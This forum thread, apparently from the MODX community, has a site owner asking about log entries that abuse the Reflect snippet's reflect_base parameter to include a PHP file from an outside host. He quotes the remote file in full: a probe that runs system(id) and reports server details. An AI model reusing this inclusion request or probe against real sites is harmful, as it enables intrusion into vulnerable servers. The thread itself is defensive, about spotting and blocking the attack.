We launched new forums in March 2019—join us there. In a hurry for help with your website? Get Help Now!
    • 26951
    • 41 Posts
    Why do I see links like this in my log?

    (url)assets/snippets/reflect/snippet.reflect.php?reflect_base=http://hredu.net/bbs/skin/zero_vote/images/id.txt

    The http://hredu.net/bbs/skin/zero_vote/images/id.txt has the code:

    <?php
    function ConvertBytes($number) {
        $len = strlen($number);
        if($len < 4) {
            return sprintf("%d b", $number);
        }
        if($len >= 4 && $len <=6) {
            return sprintf("%0.2f Kb", $number/1024);
        }
        if($len >= 7 && $len <=9) {
            return sprintf("%0.2f Mb", $number/1024/1024);
        }
        return sprintf("%0.2f Gb", $number/1024/1024/1024);
    }                         

    echo "doel
    ";
    $un = @php_uname();
    $id1 = system(id);
    $pwd1 = @getcwd();
    $free1= diskfreespace($pwd1);
    $free = ConvertBytes(diskfreespace($pwd1));
    if (!$free) {
        $free = 0;
    }
    $all1= disk_total_space($pwd1);
    $all = ConvertBytes(disk_total_space($pwd1));
    if (!$all) {
        $all = 0;
    }
    $used = ConvertBytes($all1-$free1);
    $os = @PHP_OS;

    echo "doel was here ..
    ";
    echo "uname -a: $un
    ";
    echo "os: $os
    ";
    echo "id: $id1
    ";
    echo "free: $free
    ";
    echo "used: $used
    ";
    echo "total: $all
    ";
    exit;

    I get about 20 of these a day in my visitor logs - does anyone know what Reflect is actually doing here?

    Thanks

    Edit: Lame spelling/Rushed typing!
      • 26931
      • 2,314 Posts
        • 26951
        • 41 Posts
        I knew it! I renamed it earlier as a precaution. Thanks.